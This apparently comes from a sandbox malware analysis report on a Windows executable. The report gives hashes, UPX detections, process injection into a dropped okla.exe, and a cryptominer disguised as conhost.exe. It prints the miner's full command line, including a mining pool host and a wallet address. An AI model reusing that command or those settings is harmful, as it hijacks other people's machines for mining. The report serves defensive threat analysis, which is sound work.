f51a70afb48f0687d35c2c1f22263f2cd84ed78a38134776cf8595bd559aab5f

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/08/2026, 17:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-01_15f9a1798d913615567db24626222f4d_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 3.0MB
Sample260801-v3j1eaec44
SHA256 f51a70afb48f0687d35c2c1f22263f2cd84ed78a38134776cf8595bd559aab5f
MD5 15f9a1798d913615567db24626222f4d
SHA1 8cc13ff227172a46485f86747166085d97d52888
SHA512 3c08b68fa61740614e0176a51e955058e817a7d9144e42cbd3a9e2c150fbed786b6ba199cf5422073b9b9dc8948472fb616445c39b4301f7dcaeda26af07ca17
SSDEEP 49152:rKA5/fBjo8VI3NvmF4xqfs9QXrePf7H/F6T9BTT3k0VY9FeNVdPL4jM:rKAVsYsY2zHd6fjDfNVN/
TLSH
T1A6E52204D7E404F9E1B7D578CE824D52EB767C0943B1EB9F43A4B9960E272E0893EB52
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

upx

Malware Config

Signatures

UPX dump on OEP (original entry point) 2 IoCs

resource	yara_rule
behavioral2/memory/3696-12-0x0000000140000000-0x00000001408E0000-memory.dmp	UPX
behavioral2/memory/3696-13-0x0000000140000000-0x00000001408E0000-memory.dmp	UPX

Executes dropped EXE 1 IoCs

pid	Process
5940	okla.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5940 set thread context of 3696	5940	okla.exe	90

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3696-12-0x0000000140000000-0x00000001408E0000-memory.dmp	upx
behavioral2/memory/3696-13-0x0000000140000000-0x00000001408E0000-memory.dmp	upx
behavioral2/memory/3696-11-0x0000000140000000-0x00000001408E0000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
5940	okla.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5564	2026-08-01_15f9a1798d913615567db24626222f4d_cryptbot_icedid_luca-stealer_njrat_stealc.exe
5564	2026-08-01_15f9a1798d913615567db24626222f4d_cryptbot_icedid_luca-stealer_njrat_stealc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5564 wrote to memory of 5940	5564	2026-08-01_15f9a1798d913615567db24626222f4d_cryptbot_icedid_luca-stealer_njrat_stealc.exe	89
PID 5940 wrote to memory of 3696	5940	okla.exe	90
PID 5940 wrote to memory of 3696	5940	okla.exe	90
PID 5940 wrote to memory of 3696	5940	okla.exe	90

C:\Users\Admin\AppData\Local\Temp\2026-08-01_15f9a1798d913615567db24626222f4d_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-01_15f9a1798d913615567db24626222f4d_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5564
- C:\Users\Admin\AppData\Local\Temp\okla.exe
  "C:\Users\Admin\AppData\Local\Temp\okla.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5940
- - C:\Windows\system32\conhost.exe
    conhost.exe --algo=rx/0 --url=pool.hashvault.pro:443 --user="44nkuDevyMkUnE7Lc4kJThfZqW3zyQ62nZxB9Ca6ikxTK7SMYdLmb9eSdp3PcYDwziHMN1xyq3Yq7BNcbGXDCBhWMzEVEBX" --pass="2031" --cpu-max-threads-hint=100 --randomx-no-rdmsr --tls
    3⤵
    PID:3696

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

okla.exe

Path C:\Users\Admin\AppData\Local\Temp\okla.exe
Size 3.0MB
SHA256 4e0c99f5527c4b35c522a674e0179a14a8370c219398065a6b542f1856bed064
MD5 4f4d7d6ef0416a99b2490f40880b32c7
SHA1 a79f21c979d5c831759eadae03d4194bbfe271cf
SHA512 c291aecda2b5bff01bc793802ddcabf8455287ff9a4f780b92f50b6f8ecc299ba8349ecc48162e8540b4bbf3fc94455382f1d7de1a92480dc5563b20d9e388cd
SSDEEP 49152:xOnIJ5awII4//JaE4WaOXlSCIogrW+IWZqJ5/ePukSjFYwEiwVFyO5V:xOsMVHnIXO1SCI3X7wPWYufFyg
TLSH
T187E53384A46395E9EF264274DA76BC60CC123159C7D8FBF31229C87072335E746B9E9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3696-12-0x0000000140000000-0x00000001408E0000-memory.dmp

Download

memory/3696-13-0x0000000140000000-0x00000001408E0000-memory.dmp

Download

memory/3696-11-0x0000000140000000-0x00000001408E0000-memory.dmp

Download